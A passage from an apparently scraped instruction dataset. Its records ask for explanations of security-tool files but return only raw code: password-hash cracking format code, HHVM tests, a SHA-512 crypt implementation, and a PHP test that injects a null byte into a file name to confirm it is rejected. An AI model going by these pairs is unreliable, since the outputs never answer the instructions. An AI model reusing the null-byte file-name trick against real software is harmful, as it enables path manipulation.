binary;\n\n\tbinary = buffer[index].binary[0];\n\treturn DES_STD_HASH_1(binary);\n}\n\n#define get_hash_2 NULL\n#define get_hash_3 NULL\n#define get_hash_4 NULL\n#define get_hash_5 NULL\n#define get_hash_6 NULL\n\nstatic int salt_hash(void *salt)\n{\n\treturn DES_STD_HASH_1(*(ARCH_WORD *)salt) & (SALT_HASH_SIZE - 1);\n}\n\nstatic void set_salt(void *salt)\n{\n\tsaved_salt = *(ARCH_WORD*)salt;\n\tsaved_count = ((ARCH_WORD *)salt)[1];\n}\n\n#endif\n\nstatic void set_key(char *key, int index)\n{\n\tchar *ptr, *chr;\n\tint pos, word;\n\tunsigned ARCH_WORD block[2];\n\tunion {\n\t\tdouble dummy;\n\t\tDES_binary binary;\n\t} aligned;\n\tchar chars[8];\n#if DES_BS\n\tchar *final = key;\n#endif\n\n\tDES_std_set_key(key);\n\n\tfor (pos = 0, ptr = key; pos < 8 && *ptr; pos++, ptr++);\n\tblock[1] = block[0] = 0;\n\n\twhile (*ptr) {\n\t\tptr -= 8;\n\t\tfor (word = 0; word < 2; word++)\n\t\tfor (pos = 0; pos < 4; pos++)\n\t\t\tblock[word] ^= ((unsigned ARCH_WORD)(unsigned char)\n\t\t\t *ptr++ & 0x7f) << (1 + (pos << 3));\n\n#if !DES_BS\n\t\tif (current_salt)\n\t\t\tDES_std_set_salt(current_salt = 0);\n\t\tDES_count = 1;\n#endif\n\n\t\tDES_std_set_block(block[0], block[1]);\n\t\tDES_std_crypt(DES_KS_current, aligned.binary);\n\t\tDES_std_get_block(aligned.binary, block);\n\n\t\tchr = chars;\n\t\tfor (word = 0; word < 2; word++)\n\t\tfor (pos = 0; pos < 4; pos++) {\n\t\t\t*chr++ = 0x80 |\n\t\t\t\t((block[word] >> (1 + (pos << 3))) ^ *ptr);\n\t\t\tif (*ptr) ptr++;\n\t\t}\n\n#if DES_BS\n\t\tfinal = chars;\n\t\tif (*ptr)\n#endif\n\t\t\tDES_raw_set_key(chars);\n\t}\n\n#if DES_BS\n\tDES_bs_set_key(final, index);\n#else\n\tmemcpy(buffer[index].KS, DES_KS_current, sizeof(DES_KS));\n#endif\n\tstrnfcpy(buffer[index].key, key, PLAINTEXT_LENGTH);\n}\n\nstatic char *get_key(int index)\n{\n\tstatic char out[PLAINTEXT_LENGTH + 1];\n\n\treturn strnzcpy(out, buffer[index].key, PLAINTEXT_LENGTH + 1);\n}\n\n#if DES_BS\n\nstatic int crypt_all(int *pcount, struct db_salt *salt)\n{\n\tconst int count = *pcount;\n\tDES_bs_crypt(saved_count, count);\n\treturn count;\n}\n\nstatic int cmp_one(void *binary, int index)\n{\n\treturn DES_bs_cmp_one((uint32_t *)binary, 32, index);\n}\n\nstatic int cmp_exact(char *source, int index)\n{\n\treturn DES_bs_cmp_one(DES_bs_get_binary(source), 64, index);\n}\n\n#else\n\nstatic int crypt_all(int *pcount, struct db_salt *salt)\n{\n\tint count = *pcount;\n\tint index;\n\n\tif (current_salt != saved_salt)\n\t\tDES_std_set_salt(current_salt = saved_salt);\n\n\tmemset(DES_IV, 0, sizeof(DES_IV));\n\tDES_count = saved_count;\n\n\tfor (index = 0; index < count; index++)\n\t\tDES_std_crypt(buffer[index].KS, buffer[index].binary);\n\n\treturn count;\n}\n\nstatic int cmp_all(void *binary, int count)\n{\n\tint index;\n\n\tfor (index = 0; index < count; index++)\n\tif (*(unsigned ARCH_WORD *)binary ==\n\t (buffer[index].binary[0] & DES_BINARY_MASK))\n\t\treturn 1;\n\n\treturn 0;\n}\n\nstatic int cmp_one(void *binary, int index)\n{\n\treturn *(unsigned ARCH_WORD *)binary ==\n\t\t(buffer[index].binary[0] & DES_BINARY_MASK);\n}\n\nstatic int cmp_exact(char *source, int index)\n{\n\tARCH_WORD *binary;\n\tint word;\n\n\tbinary = DES_std_get_binary(source);\n\n\tfor (word = 0; word < 16 / DES_SIZE; word++)\n\tif ((unsigned ARCH_WORD)binary[word] !=\n\t (buffer[index].binary[word] & DES_BINARY_MASK))\n\t\treturn 0;\n\n\treturn 1;\n}\n\n#endif\n\nstatic unsigned int iteration_count(void *salt)\n{\n\treturn (unsigned int) ((ARCH_WORD *)salt)[1];\n}\n\nstruct fmt_main fmt_BSDI = {\n\t{\n\t\tFORMAT_LABEL,\n\t\tFORMAT_NAME,\n\t\tALGORITHM_NAME,\n\t\tBENCHMARK_COMMENT,\n\t\tBENCHMARK_LENGTH,\n\t\t0,\n\t\tPLAINTEXT_LENGTH,\n\t\tBINARY_SIZE,\n\t\tBINARY_ALIGN,\n\t\tSALT_SIZE,\n\t\tSALT_ALIGN,\n\t\tMIN_KEYS_PER_CRYPT,\n\t\tMAX_KEYS_PER_CRYPT,\n#if DES_BS && DES_bs_mt\n\t\tFMT_OMP |\n#endif\n#if DES_BS\n\t\tFMT_CASE | FMT_BS,\n#else\n\t\tFMT_CASE,\n#endif\n\t\t{\n\t\t\t\"iteration count\",\n\t\t},\n\t\t{ NULL },\n\t\ttests\n\t}, {\n\t\tinit,\n\t\tfmt_default_done,\n\t\tfmt_default_reset,\n\t\tfmt_default_prepare,\n\t\tvalid,\n\t\tfmt_default_split,\n\t\t(void *(*)(char *))\n#if DES_BS\n\t\t\tDES_bs_get_binary,\n#else\n\t\t\tDES_std_get_binary,\n#endif\n\t\tsalt,\n\t\t{\n\t\t\titeration_count,\n\t\t},\n\t\tfmt_default_source,\n\t\t{\n\t\t\tbinary_hash_0,\n\t\t\tbinary_hash_1,\n\t\t\tbinary_hash_2,\n\t\t\tbinary_hash_3,\n\t\t\tbinary_hash_4,\n\t\t\tbinary_hash_5,\n\t\t\tbinary_hash_6\n\t\t},\n\t\tsalt_hash,\n\t\tNULL,\n\t\tset_salt,\n\t\tset_key,\n\t\tget_key,\n\t\tfmt_default_clear_keys,\n\t\tcrypt_all,\n\t\t{\n\t\t\tget_hash_0,\n\t\t\tget_hash_1,\n\t\t\tget_hash_2,\n\t\t\tget_hash_3,\n\t\t\tget_hash_4,\n\t\t\tget_hash_5,\n\t\t\tget_hash_6\n\t\t},\n#if DES_BS\n\t\t(int (*)(void *, int))DES_bs_cmp_all,\n#else\n\t\tcmp_all,\n#endif\n\t\tcmp_one,\n\t\tcmp_exact\n\t}\n};", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:33156"}} -{"instruction": "Explain the purpose and role of 'hydra/persistence/sql/migratest/fixtures/hydra_oauth2_authentication_session/auth_session-0017.json' from the hydra security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "{\n \"ID\": \"auth_session-0017\",\n \"NID\": \"00000000-0000-0000-0000-000000000000\",\n \"AuthenticatedAt\": null,\n \"Subject\": \"subject-0017\",\n \"IdentityProviderSessionID\": \"identity_provider_session_id-0017\",\n \"Remember\": true\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:63523"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/Zend/tests/traits/property004.class.inc' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "hello;\n\t}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:31686"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/typehole/T76251261.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " extends Exception {\n public function __construct(public T $in) {\n parent::__construct();\n }\n}\n\n<<__EntryPoint>>\nfunction foo(): void {\n try {\n throw new MyException(42);\n } catch (MyException $e) {\n expects_string($e->in); // splode\n }\n}\n\nfunction expects_string(string $in): void {}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:14205"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/gd/tests/imagepng_nullbyte_injection.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\n$image = imagecreate(1,1);// 1px image\n\n$tempdir = sys_get_temp_dir(). '/php-gdtest' . rand();\nif (!file_exists($tempdir) && !is_dir($tempdir)) {\n mkdir ($tempdir, 0777, true);\n}\n\n$userinput = \"1\\0\"; // from post or get data\n$temp = $tempdir. \"/test\" . $userinput .\".tmp\";\n\necho \"\\nimagepng TEST\\n\";\nimagepng($image, $temp);\nvar_dump(file_exists($tempdir. \"/test1\"));\nvar_dump(file_exists($tempdir. \"/test1.tmp\"));\nforeach (glob($tempdir . \"/test*\") as $file ) { unlink($file); }\nerror_reporting(0);\nforeach (glob($tempdir . \"/test*\") as $file ) { unlink($file); }\nrmdir($tempdir);\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:26647"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/zend/crypt-sha512.cpp' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/* SHA512-based Unix crypt implementation.\n Released into the Public Domain by Ulrich Drepper . */\n/* Windows VC++ port by Pierre Joye */\n\n#include \"hphp/zend/php-crypt_r.h\"\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\n#include \n#include \n\nnamespace HPHP {\n\n// Defined in crypt-sha256.c\nextern void * __php_mempcpy(void * dst, const void * src, size_t len);\nextern char * __php_stpncpy(char *dst, const char *src, size_t len);\n\n#ifndef MIN\n# define MIN(a, b) (((a) < (b)) ? (a) : (b))\n#endif\n#ifndef MAX\n# define MAX(a, b) (((a) > (b)) ? (a) : (b))\n#endif\n\n/* See #51582 */\n#ifndef UINT64_C\n# define UINT64_C(value) __CONCAT(value, ULL)\n#endif\n\n/* Structure to save state of computation between the single steps. */\nstruct sha512_ctx\n{\n uint64_t H[8];\n\n uint64_t total[2];\n uint64_t buflen;\n char buffer[256]; /* NB: always correctly aligned for uint64_t. */\n};\n\n\n#define SWAP(n) \\\n (((n) << 56) \\\n | (((n) & 0xff00) << 40) \\\n | (((n) & 0xff0000) << 24) \\\n | (((n) & 0xff000000) << 8) \\\n | (((n) >> 8) & 0xff000000) \\\n | (((n) >> 24) & 0xff0000) \\\n | (((n) >> 40) & 0xff00) \\\n | ((n) >> 56))\n\n/* This array contains the bytes used to pad the buffer to the next\n 64-byte boundary. (FIPS 180-2:5.1.2) */\nstatic const unsigned char fillbuf[128] = { 0x80, 0 /* , 0, 0, ... */ };\n\n/* Constants for SHA512 from FIPS 180-2:4.2.3. */\nstatic const uint64_t K[80] = {\n UINT64_C (0x428a2f98d728ae22), UINT64_C (0x7137449123ef65cd),\n UINT64_C (0xb5c0fbcfec4d3b2f), UINT64_C (0xe9b5dba58189dbbc),\n UINT64_C (0x3956c25bf348b538), UINT64_C (0x59f111f1b605d019),\n UINT64_C (0x923f82a4af194f9b), UINT64_C (0xab1c5ed5da6d8118),\n UINT64_C (0xd807aa98a3030242), UINT64_C (0x12835b0145706fbe),\n UINT64_C (0x243185be4ee4b28c), UINT64_C (0x550c7dc3d5ffb4e2),\n UINT64_C (0x72be5d74f27b896f), UINT64_C (0x80deb1fe3b1696b1),\n UINT64_C (0x9bdc06a725c71235), UINT64_C (0xc19bf174cf692694),\n UINT64_C (0xe49b69c19ef14ad2), UINT64_C (0xefbe4786384f25e3),\n UINT64_C (0x0fc19dc68b8cd5b5), UINT64_C (0x240ca1cc77ac9c65),\n UINT64_C (0x2de92c6f592b0275), UINT64_C (0x4a7484aa6ea6e483),\n UINT64_C (0x5cb0a9dcbd41fbd4), UINT64_C (0x76f988da831153b5),\n UINT64_C (0x983e5152ee66dfab), UINT64_C (0xa831c66d2db43210),\n UINT64_C (0xb00327c898fb213f), UINT64_C (0xbf597fc7beef0ee4),\n UINT64_C (0xc6e00bf33da88fc2), UINT64_C (0xd5a79147930aa725),\n UINT64_C (0x06ca6351e003826f), UINT64_C (0x142929670a0e6e70),\n UINT64_C (0x27b70a8546d22ffc), UINT64_C (0x2e1b21385c26c926),\n UINT64_C (0x4d2c6dfc5ac42aed), UINT64_C (0x53380d139d95b3df),\n UINT64_C (0x650a73548baf63de), UINT64_C (0x766a0abb3c77b2a8),\n UINT64_C (0x81c2c92e47edaee6), UINT64_C (0x92722c851482353b),\n UINT64_C (0xa2bfe8a14cf10364), UINT64_C (0xa81a664bbc423001),\n UINT64_C (0xc24b8b70d0f89791), UINT64_C (0xc76c51a30654be30),\n UINT64_C (0xd192e819d6ef5218), UINT64_C (0xd69906245565a910),\n UINT64_C (0xf40e35855771202a), UINT64_C (0x106aa07032bbd1b8),\n UINT64_C (0x19a4c116b8d2d0c8), UINT64_C (0x1e376c085141ab53),\n UINT64_C (0x2748774cdf8eeb99), UINT64_C (0x34b0bcb5e19b48a8),\n UINT64_C (0x391c0cb3c5c95a63), UINT64_C (0x4ed8aa4ae3418acb),\n UINT64_C (0x5b9cca4f7763e373), UINT64_C (0x682e6ff3d6b2b8a3),\n UINT64_C (0x748f82ee5defb2fc), UINT64_C (0x78a5636f43172f60),\n UINT64_C (0x84c87814a1f0ab72), UINT64_C (0x8cc702081a6439ec),\n UINT64_C (0x90befffa23631e28), UINT64_C (0xa4506cebde82bde9),\n UINT64_C (0xbef9a3f7b2c67915), UINT64_C (0xc67178f2e372532b),\n UINT64_C (0xca273eceea26619c), UINT64_C (0xd186b8c721c0c207),\n UINT64_C (0xeada7dd6cde0eb1e), UINT64_C (0xf57d4f7fee6ed178),\n UINT64_C (0x06f067aa72176fba), UINT64_C (0x0a637dc5a2c898a6),\n UINT64_C (0x113f9804bef90dae), UINT64_C (0x1b710b35131c471b),\n UINT64_C (0x28db77f523047d84), UINT64_C (0x32caab7b40c72493),\n UINT64_C (0x3c9ebe0a15c9bebc), UINT64_C (0x431d67c49c100d4c),\n UINT64_C (0x4cc5d4becb3e42b6), UINT64_C (0x597f299cfc657e2a),\n UINT64_C (0x5fcb6fab3ad6faec), UINT64_C (0x6c44198c4a475817)\n };\n\n\n/* Process LEN bytes of BUFFER, accumulating context into CTX.\n It is assumed that LEN % 128 == 0. */\nstatic void\nsha512_process_block(const void *buffer, size_t len, struct sha512_ctx *ctx) {\n const uint64_t *words = (const uint64_t*)buffer;\n size_t nwords = len / sizeof(uint64_t);\n uint64_t a = ctx->H[0];\n uint64_t b = ctx->H[1];\n uint64_t c = ctx->H[2];\n uint64_t d = ctx->H[3];\n uint64_t e = ctx->H[4];\n uint64_t f = ctx->H[5];\n uint64_t g = ctx->H[6];\n uint64_t h = ctx->H[7];\n\n /* First increment the byte count. FIPS 180-2 specifies the possible\n length of the file up to 2^128 bits. Here we only compute the\n number of bytes. Do a double word increment. */\n ctx->total[0] += len;\n if (ctx->total[0] < len) {\n ++ctx->total[1];\n }\n\n /* Process all bytes in the buffer with 128 bytes in each round of\n the loop. */\n while (nwords > 0) {\n uint64_t W[80];\n uint64_t a_save = a;\n uint64_t b_save = b;\n uint64_t c_save = c;\n uint64_t d_save = d;\n uint64_t e_save = e;\n uint64_t f_save = f;\n uint64_t g_save = g;\n uint64_t h_save = h;\n unsigned int t;\n\n/* Operators defined in FIPS 180-2:4.1.2. */\n#define Ch(x, y, z) ((x & y) ^ (~x & z))\n#define Maj(x, y, z) ((x & y) ^ (x & z) ^ (y & z))\n#define S0(x) (CYCLIC (x, 28) ^ CYCLIC (x, 34) ^ CYCLIC (x, 39))\n#define S1(x) (CYCLIC (x, 14) ^ CYCLIC (x, 18) ^ CYCLIC (x, 41))\n#define R0(x) (CYCLIC (x, 1) ^ CYCLIC (x, 8) ^ (x >> 7))\n#define R1(x) (CYCLIC (x, 19) ^ CYCLIC (x, 61) ^ (x >> 6))\n\n /* It is unfortunate that C does not provide an operator for\n cyclic rotation. Hope the C compiler is smart enough. */\n#define CYCLIC(w, s) ((w >> s) | (w << (64 - s)))\n\n /* Compute the message schedule according to FIPS 180-2:6.3.2 step 2. */\n for (t = 0; t < 16; ++t) {\n W[t] = SWAP (*words);\n ++words;\n }\n\n for (t = 16; t < 80; ++t) {\n W[t] = R1 (W[t - 2]) + W[t - 7] + R0 (W[t - 15]) + W[t - 16];\n }\n\n /* The actual computation according to FIPS 180-2:6.3.2 step 3. */\n for (t = 0; t < 80; ++t) {\n uint64_t T1 = h + S1 (e) + Ch (e, f, g) + K[t] + W[t];\n uint64_t T2 = S0 (a) + Maj (a, b, c);\n h = g;\n g = f;\n f = e;\n e = d + T1;\n d = c;\n c = b;\n b = a;\n a = T1 + T2;\n }\n\n /* Add the starting values of the context according to FIPS 180-2:6.3.2\n step 4. */\n a += a_save;\n b += b_save;\n c += c_save;\n d += d_save;\n e += e_save;\n f += f_save;\n g += g_save;\n h += h_save;\n\n /* Prepare for the next round. */\n nwords -= 16;\n }\n\n /* Put checksum in context given as argument. */\n ctx->H[0] = a;\n ctx->H[1] = b;\n ctx->H[2] = c;\n ctx->H[3] = d;\n ctx->H[4] = e;\n ctx->H[5] = f;\n ctx->H[6] = g;\n ctx->H[7] = h;\n}\n\n\n/* Initialize structure containing state of computation.\n (FIPS 180-2:5.3.3) */\nstatic void sha512_init_ctx (struct sha512_ctx *ctx) {\n ctx->H[0] = UINT64_C (0x6a09e667f3bcc908);\n ctx->H[1] = UINT64_C (0xbb67ae8584caa73b);\n ctx->H[2] = UINT64_C (0x3c6ef372fe94f82b);\n ctx->H[3] = UINT64_C (0xa54ff53a5f1d36f1);\n ctx->H[4] = UINT64_C (0x510e527fade682d1);\n ctx->H[5] = UINT64_C (0x9b05688c2b3e6c1f);\n ctx->H[6] = UINT64_C (0x1f83d9abfb41bd6b);\n ctx->H[7] = UINT64_C (0x5be0cd19137e2179);\n\n ctx->total[0] = ctx->total[1] = 0;\n ctx->buflen = 0;\n}\n\n\n/* Process the remaining bytes in the internal buffer and the usual\n prolog according to the standard and write the result to RESBUF.\n\n IMPORTANT: On some systems it is required that RESBUF is correctly\n aligned for a 32 bits value. */\nstatic void * sha512_finish_ctx (struct sha512_ctx *ctx, void *resbuf) {\n /* Take yet unprocessed bytes into account. */\n uint64_t bytes = ctx->buflen;\n size_t pad;\n unsigned int i;\n\n /* Now count remaining bytes. */\n ctx->total[0] += bytes;\n if (ctx->total[0] < bytes) {\n ++ctx->total[1];\n }\n\n pad = bytes >= 112 ? 128 + 112 - (size_t)bytes : 112 - (size_t)bytes;\n memcpy(&ctx->buffer[bytes], fillbuf, pad);\n\n /* Put the 128-bit file length in *bits* at the end of the buffer. */\n *(uint64_t *) &ctx->buffer[bytes + pad + 8] = SWAP(ctx->total[0] << 3);\n *(uint64_t *) &ctx->buffer[bytes + pad] = SWAP((ctx->total[1] << 3) |\n (ctx->total[0] >> 61));\n\n /* Process last bytes. */\n sha512_process_block(ctx->buffer, (size_t)(bytes + pad + 16), ctx);\n\n /* Put result from CTX in first 64 bytes following RESBUF. */\n for (i = 0; i < 8; ++i) {\n ((uint64_t *) resbuf)[i] = SWAP(ctx->H[i]);\n }\n\n return resbuf;\n}\n\nstatic void\nsha512_process_bytes(const void *buffer, size_t len, struct sha512_ctx *ctx) {\n /* When we already have some bits in our internal buffer concatenate\n both inputs first. */\n if (ctx->buflen != 0) {\n size_t left_over = (size_t)ctx->buflen;\n size_t add = (size_t)(256 - left_over > len ? len : 256 - left_over);\n\n memcpy(&ctx->buffer[left_over], buffer, add);\n ctx->buflen += add;\n\n if (ctx->buflen > 128) {\n sha512_process_block(ctx->buffer, ctx->buflen & ~127, ctx);\n\n ctx->buflen &= 127;\n /* The regions in the following copy operation cannot overlap. */\n memcpy(ctx->buffer, &ctx->buffer[(left_over + add) & ~127],\n (size_t)ctx->buflen);\n }\n\n buffer = (const char *) buffer + add;\n len -= add;\n }\n\n /* Process available complete blocks. */\n if (len >= 128) {\n#if !_STRING_ARCH_unaligned\n#define UNALIGNED_P(p) (((uintptr_t) p) % alignof (uint64_t) != 0)\n if (UNALIGNED_P(buffer))\n while (len > 128) {\n sha512_process_block(memcpy(ctx->buffer, buffer, 128), 128, ctx);\n buffer = (const char *) buffer + 128;\n len -= 128;\n }\n else\n#endif\n {\n sha512_process_block(buffer, len & ~127, ctx);\n buffer = (const char *) buffer + (len & ~127);\n len &= 127;\n }\n }\n\n /* Move remaining bytes into internal buffer. */\n if (len > 0) {\n size_t left_over = (size_t)ctx->buflen;\n\n memcpy(&ctx->buffer[left_over], buffer, len);\n left_over += len;\n if (left_over >= 128) {\n sha512_process_block(ctx->buffer, 128, ctx);\n left_over -= 128;\n memcpy(ctx->buffer, &ctx->buffer[128], left_over);\n }\n ctx->buflen = left_over;\n }\n}\n\n\n/* Define our magic string to mark salt for SHA512 \"encryption\"\n replacement. */\nstatic const char sha512_salt_prefix[] = \"$6$\";\n\n/* Prefix for optional rounds specification. */\nstatic const char sha512_rounds_prefix[] = \"rounds=\";\n\n/* Maximum salt string length. */\n#define SALT_LEN_MAX 16\n/* Default number of rounds if not explicitly specified. */\n#define ROUNDS_DEFAULT 5000\n/* Minimum number of rounds. */\n#define ROUNDS_MIN 1000\n/* Maximum number of rounds. */\n#define ROUNDS_MAX 999999999\n\n/* Table with characters for base64 transformation. */\nstatic const char b64t[] =\n\"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n\nchar *\nphp_sha512_crypt_r(const char *key, const char *salt, char *buffer, int buflen) {\n alignas(64) unsigned char alt_result[64];\n alignas(64) unsigned char temp_result[64];\n struct sha512_ctx ctx;\n struct sha512_ctx alt_ctx;\n size_t salt_len;\n size_t key_len;\n size_t cnt;\n char *cp;\n char *copied_key = NULL;\n char *copied_salt = NULL;\n char *p_bytes;\n char *s_bytes;\n /* Default number of rounds. */\n size_t rounds = ROUNDS_DEFAULT;\n char rounds_custom = 0;\n\n /* Find beginning of salt string. The prefix should normally always\n be present. Just in case it is not. */\n if (strncmp(sha512_salt_prefix, salt, sizeof(sha512_salt_prefix) - 1) == 0) {\n /* Skip salt prefix. */\n salt += sizeof(sha512_salt_prefix) - 1;\n }\n\n if (strncmp(salt, sha512_rounds_prefix, sizeof(sha512_rounds_prefix) - 1) == 0) {\n const char *num = salt + sizeof(sha512_rounds_prefix) - 1;\n char *endp;\n unsigned long long srounds = STRTOUL(num, &endp, 10);\n\n if (*endp == '$') {\n salt = endp + 1;\n rounds = MAX(ROUNDS_MIN, MIN(srounds, ROUNDS_MAX));\n rounds_custom = 1;\n }\n }\n\n salt_len = MIN(strcspn(salt, \"$\"), SALT_LEN_MAX);\n key_len = strlen(key);\n\n if ((key - (char *) 0) % alignof (uint64_t) != 0) {\n char *tmp = (char *) alloca (key_len + alignof (uint64_t));\n key = copied_key =\n (char*)memcpy(tmp + alignof(uint64_t) - (tmp - (char *) 0) % alignof(uint64_t), key, key_len);\n }\n\n if ((salt - (char *) 0) % alignof (uint64_t) != 0) {\n char *tmp = (char *) alloca(salt_len + 1 + alignof(uint64_t));\n salt = copied_salt = (char*)memcpy(tmp + alignof(uint64_t) - (tmp - (char *) 0) % alignof(uint64_t), salt, salt_len);\n copied_salt[salt_len] = 0;\n }\n\n /* Prepare for the real work. */\n sha512_init_ctx(&ctx);\n\n /* Add the key string. */\n sha512_process_bytes(key, key_len, &ctx);\n\n /* The last part is the salt string. This must be at most 16\n characters and it ends at the first `$' character (for\n compatibility with existing implementations). */\n sha512_process_bytes(salt, salt_len, &ctx);\n\n\n /* Compute alternate SHA512 sum with input KEY, SALT, and KEY. The\n final result will be added to the first context. */\n sha512_init_ctx(&alt_ctx);\n\n /* Add key. */\n sha512_process_bytes(key, key_len, &alt_ctx);\n\n /* Add salt. */\n sha512_process_bytes(salt, salt_len, &alt_ctx);\n\n /* Add key again. */\n sha512_process_bytes(key, key_len, &alt_ctx);\n\n /* Now get result of this (64 bytes) and add it to the other\n context. */\n sha512_finish_ctx(&alt_ctx, alt_result);\n\n /* Add for any character in the key one byte of the alternate sum. */\n for (cnt = key_len; cnt > 64; cnt -= 64) {\n sha512_process_bytes(alt_result, 64, &ctx);\n }\n sha512_process_bytes(alt_result, cnt, &ctx);\n\n /* Take the binary representation of the length of the key and for every\n 1 add the alternate sum, for every 0 the key. */\n for (cnt = key_len; cnt > 0; cnt >>= 1) {\n if ((cnt & 1) != 0) {\n sha512_process_bytes(alt_result, 64, &ctx);\n } else {\n sha512_process_bytes(key, key_len, &ctx);\n }\n }\n\n /* Create intermediate result. */\n sha512_finish_ctx(&ctx, alt_result);\n\n /* Start computation of P byte sequence. */\n sha512_init_ctx(&alt_ctx);\n\n /* For every character in the password add the entire password. */\n for (cnt = 0; cnt < key_len; ++cnt) {\n sha512_process_bytes(key, key_len, &alt_ctx);\n }\n\n /* Finish the digest. */\n sha512_finish_ctx(&alt_ctx, temp_result);\n\n /* Create byte sequence P. */\n cp = p_bytes = (char*)alloca(key_len);\n for (cnt = key_len; cnt >= 64; cnt -= 64) {\n cp = (char*)__php_mempcpy((void *) cp, (const void *)temp_result, 64);\n }\n\n memcpy(cp, temp_result, cnt);\n\n /* Start computation of S byte sequence. */\n sha512_init_ctx(&alt_ctx);\n\n /* For every character in the password add the entire password. */\n for (cnt = 0; cnt < (size_t) (16 + alt_result[0]); ++cnt) {\n sha512_process_bytes(salt, salt_len, &alt_ctx);\n }\n\n /* Finish the digest. */\n sha512_finish_ctx(&alt_ctx, temp_result);\n\n /* Create byte sequence S. */\n cp = s_bytes = (char*)alloca(salt_len);\n for (cnt = salt_len; cnt >= 64; cnt -= 64) {\n cp = (char*)__php_mempcpy(cp, temp_result, 64);\n }\n memcpy(cp, temp_result, cnt);\n\n /* Repeatedly run the collected hash value through SHA512 to burn\n CPU cycles. */\n for (cnt = 0; cnt < rounds; ++cnt) {\n /* New context. */\n sha512_init_ctx(&ctx);\n\n /* Add key or last result. */\n if ((cnt & 1) != 0) {\n sha512_process_bytes(p_bytes, key_len, &ctx);\n } else {\n sha512_process_bytes(alt_result, 64, &ctx);\n }\n\n /* Add salt for numbers not divisible by 3. */\n if (cnt % 3 != 0) {\n sha512_process_bytes(s_bytes, salt_len, &ctx);\n }\n\n /* Add key for numbers not divisible by 7. */\n if (cnt % 7 != 0) {\n sha512_process_bytes(p_bytes, key_len, &ctx);\n }\n\n /* Add key or last result. */\n if ((cnt & 1) != 0) {\n sha512_process_bytes(alt_result, 64, &ctx);\n } else {\n sha512_process_bytes(p_bytes, key_len, &ctx);\n }\n\n /* Create intermediate result. */\n sha512_finish_ctx(&ctx, alt_result);\n }\n\n /* Now we can construct the result string. It consists of three\n parts. */\n cp = __php_stpncpy(buffer, sha512_salt_prefix, MAX(0, buflen));\n buflen -= sizeof(sha512_salt_prefix) - 1;\n\n if (rounds_custom) {\n int n = snprintf(cp, MAX(0, buflen), \"%s%zu$\", sha512_rounds_prefix, rounds);\n cp += n;\n buflen -= n;\n }\n\n cp = __php_stpncpy(cp, salt, MIN((size_t) MAX(0, buflen), salt_len));\n buflen -= (int) MIN((size_t) MAX(0, buflen), salt_len);\n\n if (buflen > 0) {\n *cp++ = '$';\n --buflen;\n }\n\n#define b64_from_24bit(B2, B1, B0, N) \\\n do { \\\n unsigned int w = ((B2) << 16) | ((B1) << 8) | (B0); \\\n int n = (N); \\\n while (n-- > 0 && buflen > 0) \\\n { \\\n *cp++ = b64t[w & 0x3f]; \\\n --buflen; \\\n w >>= 6; \\\n } \\\n } while (0)\n\n b64_from_24bit(alt_result[0], alt_result[21], alt_result[42], 4);\n b64_from_24bit(alt_result[22], alt_result[43], alt_result[1], 4);\n b64_from_24bit(alt_result[44], alt_result[2], alt_result[23], 4);\n b64_from_24bit(alt_result[3], alt_result[24], alt_result[45], 4);\n b64_from_24bit(alt_result[25], alt_result[46], alt_result[4], 4);\n b64_from_24bit(alt_result[47], alt_result[5], alt_result[26], 4);\n b64_from_24bit(alt_result[6], alt_result[27], alt_result[48], 4);\n b64_from_24bit(alt_result[28], alt_result[49], alt_result[7], 4);\n b64_from_24bit(alt_result[50], alt_result[8], alt_result[29], 4);\n b64_from_24bit(alt_result[9], alt_result[30], alt_result[51], 4);\n b64_from_24bit(alt_result[31], alt_result[52], alt_result[10], 4);\n b64_from_24bit(alt_result[53], alt_result[11], alt_result[32], 4);\n b64_from_24bit(alt_result[12], alt_result[33], alt_result[54], 4);\n b64_from_24bit(alt_result[34], alt_result[55], alt_result[13], 4);\n b64_from_24bit(alt_result[56], alt_result[14], alt_result[35], 4);\n b64_from_24bit(alt_result[15], alt_result[36], alt_result[57], 4);\n b64_from_24bit(alt_result[37], alt_result[58], alt_result[16], 4);\n b64_from_24bit(alt_result[59], alt_result[17], alt_result[38], 4);\n b64_from_24bit(alt_result[18], alt_result[39], alt_result[60], 4);\n b64_from_24bit(alt_result[40], alt_result[61], alt_result[19], 4);\n b64_from_24bit(alt_result[62], alt_result[20], alt_result[41], 4);\n b64_from_24bit(0, 0, alt_result[63], 2);\n\n if (buflen <= 0) {\n errno = ERANGE;\n buffer = NULL;\n } else {\n *cp = '\\0'; /* Terminate the string. */\n }\n\n /* Clear the buffer for the intermediate result so that people\n attaching to processes or reading core dumps cannot get any\n information. We do it in this way to clear correct_words[]\n inside the SHA512 implementation as well. */\n sha512_init_ctx(&ctx);\n sha512_finish_ctx(&ctx, alt_result);\n SECURE_ZERO(temp_result, sizeof(temp_result));\n SECURE_ZERO(p_bytes, key_len);\n SECURE_ZERO(s_bytes, salt_len);\n SECURE_ZERO(&ctx, sizeof(ctx));\n SECURE_ZERO(&alt_ctx, sizeof(alt_ctx));\n if (copied_key != NULL) {\n SECURE_ZERO(copied_key, key_len);\n }\n if (copied_salt != NULL) {\n SECURE_ZERO(copied_salt, salt_len);\n }\n\n return buffer;\n}\n\n\n/* This entry point is equivalent to the `crypt' function in Unix\n 